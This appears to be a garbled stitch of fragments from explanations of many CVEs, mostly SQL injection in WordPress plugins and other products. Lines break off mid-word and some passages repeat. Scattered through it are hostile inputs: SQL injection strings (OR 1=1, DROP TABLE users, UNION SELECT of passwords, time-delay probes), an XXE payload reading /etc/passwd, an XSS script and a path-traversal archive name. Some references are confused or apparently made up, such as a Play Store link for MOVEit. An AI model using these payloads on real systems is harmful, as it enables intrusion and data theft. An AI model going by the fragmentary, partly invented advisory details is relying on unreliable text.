cious activities. For example, the attacker could craft a string that includes a SQL statement intended to be executed by the database. For more information, see [Java security insights-2022-1-are-now-available/](#).

properly sanitized, might lead to unauthorized database operation and destruction of data. However, without proper validation, an attacker can exploit this vulnerability.

1.

Unauthorized update, insert, or delete access to some of Java VM's accessible data.

that Java VM has access to by performing unauthorized updates, insertions, or deletions. An attacker can attempt to exploit this vulnerability.

m.

ed updates, inserts, or deletions of accessible data within this component.

v).

uthorization. Since the vulnerability affects data integrity, the attacker might aim to corrupt data or m

ecurity.

re complex.

ty of the archive's name and location, the attacker can then proceed to download the archive once the

oncatenated into the HQL query string without any checks or escaping, which could lead to SQL injectio  
is security issue affects only users employing LDAP authentication and has been resolved as of version

tion could then be used for further attacks such as account takeovers, identity theft, or gaining unauth  
ected Feedbacksystem instances.

fects authenticated and authorized users.

QI7HYXMK2HZE5T/- Another Fedora Project's package announcement: <https://lists.fedoraproject.org/>  
or further compromise of the affected system.

iges, the stored scripts are executed, potentially leading to various malicious activities, including steali  
on like session tokens, account compromise, and even deliver malware. The persistence of the attack

support platform at '<https://support.zabbix.com/browse/ZBX-22985>'. These references provide details on the attacker gaining access to their cookies, session tokens, or other sensitive data stored in the browser's memory.

Comments (content) VALUES ('\$unsafe\_comment')");}// Later on, when displaying comments:\$res = \$mySQL->query("SELECT \* FROM comments WHERE id = '\$comment\_id'") or die(\$mySQL->error);\$row = \$mySQL->fetch\_array(\$res);echo \$row['content'];// This is where the attack would happen, by manipulating the \$comment\_id variable to contain malicious SQL code.

For CVE-2023-34133, attackers might manipulate inputs in a similar fashion to extract sensitive information from the database. A reference notice can be found at <https://www.sonicwall.com/support/notices/230710150218060>.

<https://github.com/sonicwall/cve-2023-34133/pull/1>

162db043e?source=cve.  
;, appending a statement like 'WAITFOR DELAY '00:00:05'' to the query could indicate a time-based injection attempt. This could lead to sensitive data disclosure.

publicly accessible. The absence of proper authentication checks could aid the attacker in successfully performing a time-based injection attack.

<https://lists.fedoraproject.org/message/MIF5MAGYARYUMRFK7PQI7HYXMK2HZE5T/> and <https://lists.fedoraproject.org/message/162db043e>. Both messages discuss a vulnerability in the libcurl library that can trigger a heap overflow, leading to malicious outcomes such as reading sensitive data from memory or executing arbitrary code.

authorized actions being carried out on the WordPress website. It prevents unauthorized requests without the correct token from having any effect.

base entries.

ed as a parameter in the URL, which can be manipulated by the attacker.

gged by simply visiting the URL crafted by the attacker, typically containing a parameter that indicates the email address to delete: `$email = $_GET['email']; $stmt = $pdo->prepare($sql); $stmt->execute([':email' => $emailToDelete]);` In this code, the `$email` variable is not properly sanitized, allowing an attacker to inject malicious SQL code.

on.

s, or other sensitive data.

not properly sanitized by the application, would execute the alert function in the context of the affected user's session, potentially leading to a privilege escalation or data theft.

the database server.

Inevitability in the Food Ordering System.

This example is simplistic and in real-world situations, the SQL code would often be more complex and involve multiple tables and joins.

ecute remote code.

g prepared statements and parameterized queries, are followed to prevent similar vulnerabilities.  
er's code on the SQL server. As a result, the attacker could have the ability to read sensitive data from t

n/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fwAdditionally, other sources such as F  
ids are run on the server, potentially allowing the attacker to compromise the server or the underlying

`If `\$user\_input` is something malicious like `'; DROP TABLE some\_table; --`, it would lead to an SQL sta  
authorized commands. If the plugin processes this input without proper sanitization and includes it in  
the corresponding backup files are not successfully deleted.

:512%40mainwp-child&sfp\_email=&sfph\_mail=- https://www.wordfence.com/threat-intel/vulnerabili  
nation such as user credentials, database contents, or other confidential data stored within the site's d

· carry out further malicious activities.

ccessing resources or inadvertently allow access to unauthorized users.

unction, which is not designed to be used to gate access - a task that should be handled by the `Check` /

sources` in this manner.

legitimate users.

's database.

, which the attacker can then use to extract sensitive data from the database.

ied to introduce a five-second delay in the processing of the query if the injection is successful. This kir  
amage to the reputation of the organization running the affected application.

assessments and code reviews to identify and fix vulnerabilities.

sha256 hashed password, especially on certain database engines.

?cq-3jp3

actor might inject an apostrophe into a username field to trigger an SQL error that causes the database to grant unauthorized access to user accounts. Furthermore, the exposure of such details could potentially lead to further security incidents.

conditions.

ue to resource exhaustion, or other unintended behaviors caused by the overconsumption of host memory, thus disrupting the functionality of associated network services.

/vaults of deleted users.

vulnerability-cve-2023-35866-dc7d447c4903'.

word, disable second-factor authentication, or alter other security settings, effectively compromising t  
on from the affected device.

ized control of the affected systems.

w.progress.com/security/moveit-transfer-and-moveit-cloud-vulnerability  
could execute, leading to the attack gaining the ability to read or modify database information, such as

to sensitive data. This could result in operational downtime or data breaches, having severe impacts o

r accessing sensitive information if personal data has been stored by some installations.

rent system's server, potentially giving them unauthorized control or access to sensitive data within th  
invoking particular database functions in a malicious manner.

s legitimate SQL commands, but crafting such input without knowledge of the system's internals woul

i.

uthorization.

users are unable to access the functionality of CrossX.

rivileges. This could grant access to sensitive data or system functions that should be restricted.

tion properly.

e.

context of security definer functions, or when queries are planned for a common user and then reused. security compromises, particularly in multi-tenant environments or systems where strict data access the row security policies in PostgreSQL may not correctly account for the change in the user's role after this policy using the 'CREATE POLICY' command: ``sqlCREATE POLICY sensitive\_data\_accessON sensitive TO gain unauthorized access to data. Additionally, an attacker with the ability to switch roles may craft

or operators that get executed with the privileges of higher-privileged functions, potentially compromised privileges of another database operation. Database administrators should review the official PostgreSQL documentation for more information.

between the driver and the database server.

ve data that was meant to be encrypted and secured during transmission. Encrypted data can be decrypted by unauthorized administrators to inject malicious SQL queries to extract sensitive data from the database.

o(5) ELSE 1 END', which would cause the database to delay responses if the subquery is successful, indicating a potential vulnerability. Implementing strict access controls for trusted users can help protect against this and other vulnerabilities.

Administrator privileges to inject additional SQL queries and potentially extract sensitive information from the database.

`_GET['order'];$result = $wpdb->get_results($query);` In this pseudocode, the parameter values are directly passed to the query, which can lead to SQL injection vulnerabilities.

ion vulnerabilities.

.64- Plugin's Changeset: [https://plugins.trac.wordpress.org/changeset?sfp\\_email=&sfph\\_mail=&repon](https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&repon)

tor might look like the following in a URL encoded form or through a POST request: '?post\_id=1 OR 1=1'.

ards due to the 1=1 condition always being true.

of SQL queries in the 'update\_options' and 'refresh' functions.  
hes, especially in configurations using nonstandard character sets such as GBK, ultimately leading to th

ा theft or other malicious activities.

: it, as some user interaction is required.

inspecting administrator clicks on the link and visits the page, the malicious JavaScript code execute

ntaining the shortcode and the form entry id is included in the query string of a crafted URL.

[https://github.com/WordPress/WordPress/commit/2907471/](https://github.com/WordPress/WordPress/commit/2907471)

e victim to interact by visiting the crafted link, and the injected script is stored in the site database.

o hypothetical example constructed to demonstrate the nature of the XSS vulnerability mentioned in CVE-2  
reviewing user permissions and ensuring only trusted users have contributor-level access or higher is  
ially allowing the attacker to steal session cookies or perform other malicious actions on the user's beh

[es/id/1c866d8d-399c-4bda-a3c9-17c7e5d2ffb8?source=cve](#).  
NordPress option in the database.

[ulnerabilities/id/ff5755dc-2262-47f6-ac3a-6bca9529d088?source=cve](#)  
icious scripts, or even creating new administrative accounts.

ESS.

-related settings or other critical commerce options.

ess option in the database.

edirect traffic to a malicious site, or modify user capabilities, granting themselves administrative access.

[a88f-ce46-42aa-ab5a-81f38288a659?source=cve](#).

ould lead to an unauthorized data retrieval or manipulation. For example, a request could be crafted to the web server.

the CVE databases for this information.

their email addresses from the database.

ns.

[\)0df840e5?source=cve](#).

is resolved in Synapse version 1.85.0.

Note that these scenarios are uncommon, particularly setting a user's password post-deactivation.

entication.

Despite being deactivated. This would grant the attacker unauthorized access to the system. This scenario, potentially leading to data theft, data manipulation, or further exploitation within the network.

This issue affects versions of the application prior to 2021.0.6 (13.0.6), 2021.1.4 (13.1.4), 2022.0.4 (14.0.4). It allows an attacker to read sensitive information from the database or modify its content without proper authorization.

The issue affects versions of the application prior to 2021.0.6 (13.0.6), 2021.1.4 (13.1.4), 2022.0.4 (14.0.4).

[ss.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023](https://www.ss.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023).

This could result in data breaches, alteration or deletion of critical data, and compromise of the integrity and availability of the system. An attacker could exploit this vulnerability to gain contributor-level access to manipulate the database queries and extract sensitive information. Additionally, an attacker could perform unauthorized actions, like accessing sensitive data.

<https://www.ss.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023>

\$query);```In this example, there's no proper sanitation or preparation of the SQL query, which means an error will occur and continually crash the app, leading to a persistent denial of service (DoS) attack.

error and continually crash the app, leading to a persistent denial of service (DoS) attack.

CVEs/CVE-2023-29725/CVE%20detail.md, and on the Google Play Store at [https://play.google.com/store/apps/details?id=com.mveit.transfer&hl=en\\_US&gl=US](https://play.google.com/store/apps/details?id=com.mveit.transfer&hl=en_US&gl=US)

/CVE%20detail.md'.

to impact the app's behavior or user experience.

to prevent unauthorized access to sensitive data.

knowledge, potentially leading to further exploitation of the device or user data.

ected, the app would consume excessive memory and eventually crash with an OOM error, preventing

ns on the database.

'Contec/jp/support/security-info/contec\_security\_chs\_230531\_jp.pdf

31\_jp.pdf

:case scenario, they could also create backdoors, exfiltrate data, or disrupt operations.

details?id=com.TheThaiger.android and https://play.google.com/store/apps/details?id=com.icoolme.a

s persistent every time the application attempts to run.

in the future.

d without the user's knowledge, such as accessing sensitive information, altering settings, or even cor

nial of service.

:om.androidalarmclock.android, and an unrelated app listed as <https://play.google.com/store/apps/>

?id=com.androidalarmclock.android and <https://play.google.com/store/apps/details?id=com.wave.k>

cution.

and system features beyond the app's intended permissions. Without specific code examples, we cann

s://www.call-blocker.info/.

t denial of service situation where the app is unable to function normally.

injection or an exposed API endpoint to send repetitive, large payloads that the application is not desi  
cation's database. It's also important to review and apply best practices for database security and inpu  
[v.call-blocker.info/](https://www.call-blocker.info/). These resources may offer insights into the vulnerability, its impact, and possible i  
an be disruptive to users relying on it to block unwanted calls.

CMS.

ess to the CMS's functionality that uses the `nameFilter` function.

sed using unusual case combinations, which would then allow an authenticated user to perform SQL i

example, 'sEleCT' instead of 'SELECT'), an attacker can bypass the security check and execute unauthor

ount takeover, data breaches, or compromising the integrity of the CMS application. Given that the att

hboard- GitHub security advisories:

ails to function properly and a denial of service occurs. This might interrupt the user's ability to mix mu

stricted, thereby compromising the security and privacy of the user.

```
ername', 'exampleUser'), new NameValuePair('password', longPassword});HttpClient httpClient = nev
```

ard).

n or escaping, leaving the query open to SQL injection if an attacker inputs SQL commands.

measurement and analysis of response times.

```
cted_signature): result |= ord(a) ^ ord(b) return result == 0````In this code, `validate_hmac_signature` is promised.
```

iate the application's flow, such as falsely confirming payment transactions and corrupting data integrit

e, though, that the vendor disputes the report and says that queries for database objects would be der

the injected SQL code. However, specific code examples cannot be given without a deeper understandin

struct database connections, and without proper input validation, it could lead to the execution of arbitrary SQL code.

user's consent. This could lead to data loss or corruption and potential further exploitation if the CSRF token was compromised. To avoid clicking on unsolicited links or opening unknown emails that could potentially exploit the vulnerability without proper authorization.

exploit the vulnerability to gain access to sensitive information, manipulate data, or take control of the database depending on the permissions granted to the user and even complete database takeover.

injection vulnerabilities.

ed users to edit SQL snippets and thereby manipulate the data they can access.

[tabase/security/advisories/GHSA-mw6j-f894-4qxv](#)

to gain access to unauthorized data. For example, if the snippet contained a WHERE clause that limited the results to a specific user.

ust a simplified example and actual attack vectors could be much more sophisticated.

cripted, leading to nonce reuse for log lines of the same length.

information contained in the logs could be compromised, such as user activity, changes to the database, or other system state.

Successful access could lead to complete system and data compromise.

The actual exploit would likely need to be more complex to bypass potential security measures and manipulate access controls.

access controls.

An archive like '../etc/passwd' that could overwrite the system's password file if the extraction process handles it incorrectly.

Errors before adjusting invoice sorting order, enabling potential SQL injection attacks. This could cause other issues.

There was no check for errors before adjusting the sorting order, the malicious code would get executed on the server, leading to a denial of service.

Malicious commands against the Time Tracker database.

Granted access to database information.

The attacker may infer that the SQL query was executed, thus confirming the presence of an injection vulnerability.

n hosting the database.  
[com/advisory/ntap-20230616-0006/](https://www.vitess.io/advisory/ntap-20230616-0006/)'.

and SMS Logs.

tract data without prior authentication. Successful exploitation could lead to the compromise of sensit

abase, potentially exfiltrating sensitive data or performing malicious actions, such as data manipulatio  
using VTAdmin.

within the Vitess cluster management processes.  
on that leads to the aforementioned errors.

े creation, reading, updating, or deletion of sensitive data.

e stealing session cookies, defacing the website, or even performing admin-level operations without a

: sanitization or escaping echo 'Search results for: ' . \$\_GET['search\_term'];}``` In this example, the 'se  
ich was released on August 6, 2003.

n does not log user input, it is less likely to be susceptible to this vulnerability.

onfiguration file needs to be updated to be compatible with the fixes.

erability: New Secure Configuration Snippet:```<appender name="SqlODBCAppender" class="ODBCApp  
over the database server. Such attacks typically rely on the application logging user input that is not pr

rsion 2.4.0 or later to address this vulnerability.

the table objects without proper authorization.

not possible to provide a precise code example for this scenario.

or extract confidential information.

gain unauthorized access to sensitive information.

ed by the system, such as connection strings, usernames, and passwords. With this information, the at

nsactions, access sensitive data, or escalate privileges within the system.

researchers typically conduct such analysis in a controlled environment for the purpose of reporting th

/e a more sophisticated attack where the compromised credentials are used for privilege escalation or

nts.

y were able to access the data encrypted with that key. This could enable unauthorized access to the s  
ers and SQL accounts, potentially impersonating users or gaining system administrator-level access to  
nding on certain configurations.

dentials of higher-privileged Sage 300 and SQL users. With this unauthorized access, the attacker could  
to make unauthorized API calls to access sensitive information.  
ess to the Asterisk Database and Manager Interface.

er systems.

s.c.

shes, data leakage, or potentially arbitrary code execution.  
l IoT device.

or modifies files in the other database without proper authorization. Due to the nature of remote cod

the malicious admin accounts.

[PrestaShop/PrestaShop/security/advisories/GHSA-8r4m-5p6p-52rp](https://www.prestashop.com/security/advisories/GHSA-8r4m-5p6p-52rp).

; they would have the passwords needed to establish connections. They could then execute further ma

parameters are not properly sanitized before being included in SQL statements.

database operations, exfiltrate sensitive data, or execute arbitrary commands that can compromise the system.

potentially allowing an attacker to manipulate or query the connected databases.

```
SELECT * FROM all_tables WHERE owner = '{db_name}'" return execute_query(query)``Both these snippets
```

server. By manipulating SQL queries, the attacker may also be able to bypass authentication or access controls.

"`condition" result = self.query(query) return result``In this example, `db\_name` and `tb\_name` are used for retrieving table metadata, descriptions, and index data, the attacker could use these entry points to extract information. External sources provide information on the specific nature of the vulnerability, affected versions, and possible mitigations.

the permissions of the database connection.

\_optimize.py` and, without proper input sanitization, would pass the payload directly to the database.

```
queries or prepared statements to prevent SQL injection:``pythoncursor.execute('SELECT * FROM sys.
```

...`y.

parameter value, which an attacker could exploit to query the connected databases.

' "EXPLAIN PLAN FOR SELECT \* FROM users WHERE dbname = 'dummy\_db' OR '1'='1';"```In this hypothesis, the attacker might gain elevated privileges.4. Execute Arbitrary SQL Commands: The vulnerability could be exploited by sending a crafted request that includes an SQL command in the database name field.

.query(query) return results```In this hypothetical example, `db\_name` and `full\_sql` are user-controlled fields. The `full\_sql` field contains the arbitrary SQL command.

the level of privileges associated with the database connection being used by the Archery platform.

dependent services or processes.

eventually lead to the creation of an invalid hash field that triggers the crash.

formation, or altering system configurations, all of which could lead to severe consequences for the or

atabase services and achieving a complete Denial of Service.

direct access to the underlying server.

:s port is exposed to an untrusted network.

rability.

en be used by the attacker to send unauthorized requests to the gRPC API.

lag `--metrics-enabled=false`.- Adopt recommended deployment models such as Authzed's managed s

[hub.com/authzed/spicedb/releases/tag/v1.19.1](https://github.com/authzed/spicedb/releases/tag/v1.19.1)

e: ``curl http://[SpiceDB-host]:9090/debug/pprof/cmdline``The attacker would parse the response to

tion assuming the `vtctldclient` binary is in your path and you have the necessary permissions and conf  
!, potentially leading to denial of service for legitimate administrative activities. However, since other I

:8- Security Advisory: <https://github.com/vitessio/vitess/security/advisories/GHSA-735r-hv67-g38f>

()); // Initializes the ncurses API and reads terminfo // ... application logic ... endwin(); // Restore termi  
! implications including crashing the application, executing arbitrary code with elevated privileges, or obt

indexing function exposed by the plugin. No specific code example is provided because it heavily depends on the internal implementation of the plugin.

If an attacker gains access to the LDAP database, they could potentially alter the database, such as altering order statuses, accessing customer data, or even creating fraudulent entries. This could lead to a webshell on the server, potentially leading to full system compromise. The impact on affected systems can vary greatly depending on the specific configuration and data stored in the LDAP database.

If an attacker gains access to the LDAP database, they could potentially escalate their privileges by writing a webshell into the database. For example, if the attacker has write access to the database, they could insert a new entry or modify existing entries to gain administrative privileges. This could lead to a webshell on the server, potentially leading to full system compromise. The impact on affected systems can vary greatly depending on the specific configuration and data stored in the LDAP database.

If an attacker gains access to the LDAP database, they could potentially escalate their privileges by writing a webshell into the database. For example, if the attacker has write access to the database, they could insert a new entry or modify existing entries to gain administrative privileges. This could lead to a webshell on the server, potentially leading to full system compromise. The impact on affected systems can vary greatly depending on the specific configuration and data stored in the LDAP database.

The vulnerability was discovered in the Devise gem, specifically in the `./app/models/concerns/ldap_authenticable.rb` file. The configuration initializer for Devise in Mastermind affected platforms was found to be transmitting unencrypted data, allowing an attacker in a trusted position on the network to intercept the data and execute malicious SQL commands.

The vulnerability was discovered in the Devise gem, specifically in the `./app/models/concerns/ldap_authenticable.rb` file. The configuration initializer for Devise in Mastermind affected platforms was found to be transmitting unencrypted data, allowing an attacker in a trusted position on the network to intercept the data and execute malicious SQL commands.

This vulnerability could lead to data exposure, modification, or even full database compromise. It is important to patch affected systems and update dependencies to prevent exploitation.

the admin alert UI section with the plaintext database password included in the shell environment detected by security.

users' settings or potential data loss or corruption in the database.

OR '1'='1'; DROP TABLE users; --This input could potentially form a malicious SQL query that bypasses database transactions. Due to the nature of the vulnerability, the impact could range from data leakage and

could authenticate themselves as legitimate users and perform malicious actions within the system, such as

sensitive data.

ts to users' browsers.

5063 respectively.

s website, or manipulating the content of the webpage to defraud users. This exploit is made available.

uch as data exfiltration, destruction, or modification.

' --, where the injected code ' OR '1'='1' -- may result in bypassing authentication or retrieving all records by injecting malicious SQL code into existing queries. This could enable attackers to gain more control over the server's environment.

ents into existing queries. This could enable attackers to exfiltrate sensitive information from the database.

ould change the SQL query to: `SELECT \* FROM \$table WHERE id = 1 OR 1=1;--` The appended 'OR 1=1' clause

gence report at <https://www.wordfence.com/threat-intel/vulnerabilities/id/8281cb20-73d3-4ab5-910e-> nal information, or other sensitive data stored in the site's database. Attackers could also potentially r

optimal example and the real attack vector might differ.

er's credentials, leading to unauthorized changes without the user's direct consent.

pact on the confidentiality of the application.

' are not permitted to view, thereby compromising confidentiality.

is for password storage and security.

ow tables or other pre-computed hash attack techniques, given that the hashes are unsalted and there

of backup data and potentially the ability to conduct further attacks on connected systems.  
ow to secure their systems against this vulnerability.

cker could potentially download sensitive information including the content of faxes and database back  
e(2023, 1, 1)end\_date = date(2023, 3, 10)for single\_date in daterange(start\_date, end\_date): date\_st

em to reveal all the hashes. Once obtained, these hashes could potentially be subjected to offline attac

; with subscriber-level access, or higher, to run the function and access database table information, wh

ties/id/3e2a9d71-21ef-45a1-99ed-477066ce9620.

ole names, structures, and potentially even data entries, which could be leveraged for further exploitati

iHSA-4hmq-ggrm-qfc6.

S.

the public, which increases the risk of exploitation.

d physical access to the vulnerable system to carry out these attacks.

connaissance, communication with internal services, or extraction of sensitive data from the internal r

ous purposes or to further breach the security of the system.

7.0.9: <https://github.com/redis/redis/releases/tag/7.0.9>- Security advisory on GitHub: <https://github.i>

and crash the Redis server, resulting in a Denial of Service. This disruption could be used to divert atte

er.

egex pattern that could trigger excessive backtracking, leading to a Denial-of-Service.

i.

re bug): ``php// Let's assume \$userInput is the password provided by the user// And \$invalidHash is a  
nd `password\_verify()` would return `true`, allowing them unauthorized access to the user account.

ole, an attacker might submit a form with specially-crafted SQL commands like: 'OR '1'='1' --, which cou

epend on the database permissions of the web application's account and the nature of the data proces  
management System.

t with the victim's credentials, leading to an unauthorized update of the database information without  
update the plugin to a version that patches the vulnerability, implement anti-CSRF tokens, and educat  
y of all users who have used the application on the affected device.

f attacks such as identity theft, data breaches, or other malicious activities.

actions on behalf of the user, further jeopardizing the integrity and reputation of the affected individu  
ised to extract the database contents remotely, allowing the attacker to harvest passwords from users  
ould offer more context about the software, any updates or responses regarding the vulnerability, and

me 'SELECT \* FROM users WHERE username ='admin' --', effectively commenting out the rest of the query without proper authorization. For instance, the attacker could use SQL Injection to log in as an administrator.

der/commit/e1028c1d7f23cc1e0941b7b37bb6ae5a04364308  
data theft, or other malicious activities within the context of the administrator's session.

name with assembly provided by the end-user.  
ue.

:heft, data corruption, or a full application compromise.

nject log entries that appear to be legitimate system messages or error logs, misleading administrator  
which is against MongoDB best practice. 4) A malicious attacker has unrestricted insert access to the target

sert database documents in such a way that the deserialization process on the application's side leads

or sensitive data.

recover the passwords.

The password lacked sufficient complexity, such as computational cost or memory usage, making them easier to crack. Significant work factors, are being used to protect against such vulnerabilities in the future.

The attacker can use the following XML payload to exploit the vulnerability: ````xml<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd"]><graphml> <data>&xxe;

This exploit is mentioned in the Neo4j configuration file as per Neo4j's documentation on procedure allowlisting.

A function would then be executed with the privileges of the telemetry job, potentially allowing the malicious actor to gain access to sensitive data or perform other unauthorized actions.

the details of the vulnerable function module.

ation.

base.

```
'') db_connection = sqlite3.connect('database.db') cursor = db_connection.cursor() # Vulnerable S
that modifies or deletes records, which could disrupt the application's availability or integrity.
```

a for malicious purposes, such as identity theft, selling the information, or leveraging it to gain higher-  
ds annotations due to insufficient sanitization.

fy unauthorized data, or execute administrative operations on the database.

n.

access controls or manipulating process control parameters, they could impact the availability or integrity of the system. The exact nature of the attack would depend on the specific configurations of the system, the network

actions or access data that they would typically not have the privileges to, effectively escalating their privileges.

In industrial control systems, such an attack could have significant impacts on operations. For example, if an attacker gains control of a critical process variable like temperature or pressure without having the necessary permissions, they could cause a safety-related event or shutdown.

Without proper access controls and monitoring, such attacks can go undetected for a long time, putting the system at risk of further damage or compromise.

s hosted.

proper authentication if the underlying code is vulnerable. Here is a hypothetical code example illustrating this:

A user could also potentially modify data, or issue commands that delete tables or databases, causing significant damage. For example, a database user could obtain another user's authentication information, leading to unauthorized access to the system.

An attacker might attempt to escalate privileges or use lateral movement techniques to access more sensitive parts of the system.

For instance, consider the URLs <https://www.contec.com/download/contract/contract4/?itemid=ea8039aa-3434-4999-9ab6-1.pdf> and <https://www.contec.com/download/contract/contract4/?itemid=ea8039aa-3434-4999-9ab6-1.pdf&sql=OR+1=1-->. The second URL includes an SQL injection payload ('OR 1=1 --') which bypasses authentication or extracts data from the database.

Source: <https://www.cisa.gov/guidance/ghsa-6xff-p329-9pgf>

The attack described in the document is a classic example of a SQL injection attack, where user input is not properly sanitized before being used in a database query. A code example of such an attack is not available as it relates to user-provided input and has since been removed.

ftware, leading to unauthorized control of the traffic systems managed by Econolite EOS, data tamperi  
e is opened. This could be done by inserting malicious XML elements into the configuration file specify  
— possibly without the knowledge of the legitimate user. The success of such an attack would require  
ny unexpected changes to their KeePass configuration files. Regular backups and limiting physical acce  
discussion/329220/thread/a146e5cf6b/, and the feature request related to the issue at <https://source>

[github.com/redis/redis/security/advisories/GHSA-r8w2-2m53-gprj](https://github.com/redis/redis/security/advisories/GHSA-r8w2-2m53-gprj)  
would be a denial-of-service condition, potentially disrupting the application(s) relying on Redis for in-

Redis 7.0.8: <https://github.com/redis/redis/releases/tag/7.0.8>- Redis security advisory for CVE-2022-3!  
portant to note that this vulnerability can only be exploited by authenticated users who have the abilit

[023-1\\_release\\_notes.htm](#).

on the application or sensitive information being stolen from the user's session.

achieve persistent access to the compromised system.

itative purposes.

ame: "X-Username", value: username) // Vulnerable pointlet response = try client.execute(request: rexploits based on the server's mishandling of the tailored input.

of code that could be demonstrated externally.

uld also potentially inject malicious code or manipulate the operation of the system to create physical

ccess to critical data.

of exploitation would depend on the vulnerability specifics, which are not available to the public for seauthorized read access to a subset of Oracle Database Data Redaction accessible data.

n, or any other sensitive data meant to be protected by data redaction mechanisms in the Oracle Data

(A:L).

s that depend on the Java VM.

of all users or other sensitive data from the LDAP database without proper authorization.

ERE id = 1' OR '1='1; which would return all records instead of one, thus breaching data integrity.  
nadministrative rights within the application.

behalf of the user without their consent.

|.

```
:T * FROM allowed_table WHERE id IN (SELECT id FROM restricted_table);
```

alter database queries and manipulate the database. For example, an attacker might inject a statement like:

to run under the guise of a legitimate user's session.  
; database.

id to the attacker gaining control over server hardware and potentially affecting the operations of a da  
gs for signs of unauthorized access attempts.

sts, thereby bypassing the restrictions and gaining unauthorized access to content.  
of user-supplied data.

.C+password+FROM+users--'. This would potentially allow the attacker to retrieve usernames and pass

ntrol.

. If they can edit posts, they can scan a larger range of the database and subsequently hide their tracks

ions intended to be private.

-53h3.

atch, allowing the attacker to infer the value of sensitive information.

nable to do a full upgrade; however, the Rails 5.0 migration is a necessary prerequisite for the patch to

quests for a password hash, an attacker can quickly gather this information, potentially leading to fina

repeating this process for each character position allows for the gradual extraction of the entire value.  
The vulnerability has a Medium severity rating according to Chromium security.

311-11

The exploit can be triggered by visiting a specially crafted URL that causes the browser to render a crafted HTML page. This page contains malicious JavaScript code designed to trigger heap corruption, leading to unauthorized code execution within the context of the browser.

[gentoo.org/glsa/202311-11](https://gentoo.org/glsa/202311-11)

changes needed to address the vulnerability.  
Initial investigation found that the vulnerability was due to a lack of proper validation of user input, specifically the SQL query string used in the search function. This allowed an attacker to inject arbitrary SQL code into the database query, which could be used to extract sensitive information or modify the database schema.

use of prepared statements with parameterized queries, and regular security audits of the software.  
A patch for this vulnerability has been released and is available on the SAP website to help users secure their installations against this vulnerability.

res or data.

This vulnerability was discovered by a member of the SAP Security Research team. It affects all versions of SAP ERP before the fix was released. The fix is available for download from the SAP website.

base server to serve as a launchpad for further attacks.

, leading to unauthorized disclosure of sensitive information.

leading to the disclosure of sensitive information or even taking control of the management system.  
mise of the ClearPass Policy Manager cluster in affected Aruba ClearPass Policy Manager versions.

modify the database to further compromise the system and take control of the ClearPass Policy Manager

mentioned.

e data like user credentials, modify data, or even drop tables, disrupting the integrity and availability c

access to network configurations or even lead to a complete system compromise.

This could succeed, allowing the attacker to read from or write to the database, potentially accessing sensitive information, and manipulation of database contents.

Crafted input would be designed to manipulate the SQL query execution in a way that unauthorized access

gives the ability to manipulate database records.

Monitoring for unusual database activity can help in preventing exploitation.

per validation, the injected SQL ('DROP TABLE Users') could be executed by the database engine, delet

```
re queryconnection = sqlite3.connect('database.sqlite')cursor = connection.cursor()cursor.execute(query)
```

ional employee information, financial records, or administrative credentials. In a worst-case scenario, this could lead to data exposure, session hijacking, or other malicious actions.

example.com/plugin-db-exec?params="">><script>alert('XSS')</script>When the user visits this URL, the application

re records at will, potentially inserting a payload that leads to code execution. For instance, an attacker could craft a URL like this:

```
GET /wp-content/themes/theme-name/search.php?search=1 OR 1=1 AND 1=1
```

idential information without proper permission.

cks, potentially leading to the leakage of sensitive information from the WordPress site's database.

he attacker to extract information. The actual attack vector might look like this: POST /path/to/order-create.php?order\_id=1 OR 1=1 AND 1=1

This could enable an attacker with at least author privileges to execute malicious SQL queries, potentially leading to sensitive information disclosure or data loss.

in the site's database. This could result in sensitive information leaks, user impersonation, or complete database corruption. For example, if an attacker injects the string ' OR 1=1 --' into a query parameter, it would bypass access controls and leak sensitive information from the website's database.

the deletion of the 'wp\_users' table, assuming the query context allows for multiple SQL statements. Proper SQL injection prevention measures should be implemented.

It's important to note that the provided code snippet is for demonstration purposes only. In a real-world scenario, such an attack would likely be detected by WordPress's built-in security features or a plugin like WP-Security & Firewall.

SQL injection should lead to sensitive information disclosure, data loss, or other malicious activities.

tabase to execute the injected query, leading to the disclosure of usernames and passwords from the wp\_users table.

ashed passwords, which could then be cracked offline to compromise user accounts. Given that the attacker has author-level access to the WordPress site to execute SQL injection attacks and possibly leak sensitive data, this is a significant security risk.

The value of 'cg\_id' is directly included in the SQL statement without any escaping or parameterization, leading to a SQL injection vulnerability.

from the website's database.

he 'cg\_Fields' parameter to manipulate query logic and access data. This could leverage the vulnerability to breach the data of specific individuals or organizations that use the plugin. Users with administrator privileges, particularly in multisite WordPress setups, to perform SQL injection.

Action if the 'cg\_option\_id' POST parameter is manipulated by an attacker.

users with at least author privileges to execute SQL injection attacks, thereby leaking sensitive information.

In this case, the injected SQL could be executed by the database, leading to unauthorized access to database information.

With administrator privileges, especially on multisite WordPress configurations, to extract sensitive information from multiple sites may be compromised.

It is important to protect against emerging threats.

To modify the query logic to return all user records from the database instead of just one, leading to information leakage.

In a site WordPress environment, to conduct SQL injection attacks and potentially access sensitive information that could be exploited by users with at least administrator access on a WordPress multisite installation to gather details about participants.

A comprehensive analysis, potential mitigation strategies, and detailed reports concerning the vulnerability.

Information from the site's database.

Database contents, leakage of sensitive data, or further exploitation depending on the data available in the system.

ery);```In this pseudo-code, the 'upload[]' parameter is appended directly to the SQL query without pro

vw-form-urlencodedContent-Length: lengthcategory=sample\_category&option\_id=1; DROP TABLE use

tion or escaping, leaving it open to SQL injection if a malicious user inputs something like '0 OR 1=1'.

tigation.

nts and administrator privileges.

oit this flaw to extract sensitive information from the website's database, potentially leading to a data

ing to unintended database actions such as data disclosure. Here is a simplified and hypothetical code :  
aining an SQL injection payload. If the website is running a version of the Contest Gallery plugin prior t

nin privileges, they could craft more sophisticated SQL commands to interact with the database.

ne ShardingSphere version 5.3.0.

the session by the proxy, this could result in data leakage, data manipulation, or even full control over

```
nection is established // But there's no check for a valid, authenticated user $outletState = getOutle
```

nory can be leveraged by the attacker to gain unauthorized access or control.

ons, depending on the nature of the corrupted data and device configuration.

unds of the CMS's scope, thereby affecting the underlying database.

Note that this code example is generic and simplified for illustrative purposes; actual attacks might use more sophisticated security controls. Moreover, directly exposed database services should be isolated from untrusted network systems.

onfidentiality.

